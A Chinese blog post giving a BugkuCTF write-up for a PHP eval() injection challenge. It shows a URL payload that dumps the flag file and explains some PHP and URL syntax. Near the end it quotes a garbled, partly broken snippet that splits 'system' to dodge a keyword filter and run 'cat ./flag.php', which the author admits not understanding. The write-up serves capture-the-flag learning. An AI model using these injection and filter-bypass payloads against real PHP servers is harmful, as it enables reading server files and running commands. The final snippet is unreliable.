BugkuCTF文件包含漏洞

原创

Sandra_93 于 2018-10-17 19:39:38 发布 1049 收藏 3

分类专栏： CTF 文章标签： BugkuCTF

本文链接：https://blog.csdn.net/Sandra_93/article/details/83062955

虽然是**参考别人的**，但是，为了能够灵活使用工具啥的，拓展一下还是每天来一题CTF吧。

writeup正版点这里

题目所给的代码块

```
<?php
   include "flag.php";
   $a = @$_REQUEST['hello'];
   eval( "var_dump($a);");
   show_source(__FILE__);
?>
```

分析代码：

eval() 函数用来执行一个字符串表达式，并返回表达式的值。
eval 函数的功能就是讲一个字符串当作 php 的代码进行执行
比如在python环境里

```
n=2
eval("n+2")
返回的就是4
```

flag的取得来源：在url里输入“

```
?hello=$a);print_r(file("./flag.php")); //
```

对writeup进行深入探测：

第一点： url里的一些标识符

$
一般来说代表变量，$a表示变量a

？：在url里起连接作用，以及清除缓存的作用（加了？后不调用缓存的内容，被认为一个新的地址，重新读取）
@ 屏蔽掉出错信息,有@时就算连接出错,也不会报错的
防止别人根据错误提示信息来推测出你的数据库结构进行注入攻击一类的黑客行为

第二点： print_r
print_r：打印复合类型 如数组 对象等，打印关于变量的易于理解的信息。

附加：http中的payload
python构造payload

第三点：正则表达部分：

.:匹配除“\n”和"\r"之外的任何单个字符。要匹配包括“\n”和"\r"在内的任何字符，请使用像“[\s\S]”的模式。

这种不是很懂，以后有机会再来解析一下

```
$b="tem"; $c=$a.'b;echo%20$c;c("cat%20./flag.php");
//
这里发现 i春秋 在http请求中拦截了 system 函数等关键字 ,
因此可以通过 php 的字符串连接成为函数名 , 然后进行调用
这里其实是把 system 函数名作为字符串分开 , 这样在 http 请求头中不会出现 “system(xxx)” 这样
?hello=$a);a="sys";关键字
```

一些webwriteup
https://www.cnblogs.com/zhengjim/p/6972527.html